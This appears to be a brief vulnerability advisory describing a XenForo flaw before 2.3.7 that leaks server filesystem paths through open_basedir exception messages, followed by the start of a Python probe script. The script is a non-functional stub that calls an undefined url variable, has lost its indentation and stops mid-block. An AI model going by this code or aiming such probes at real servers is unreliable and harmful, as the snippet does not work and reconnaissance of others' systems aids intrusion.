XenForo before 2.3.7 discloses filesystem paths through exception messages triggered by open_basedir restrictions. This allows an attacker to obtain information about the server's directory structure.
The following code is for security research and authorized testing only.
python
import requests

"""
Check if the target XenForo instance leaks file paths via open_basedir errors.
"""
# Common paths or endpoints that might trigger file operations
# In a real scenario, specific vulnerable endpoints would be targeted.
# Here we simulate a request that might trigger an error.
# Example: Trying to access a file that is likely restricted by open_basedir
# or triggering a debug mode error.
try:
response = requests.get(url, timeout=10)
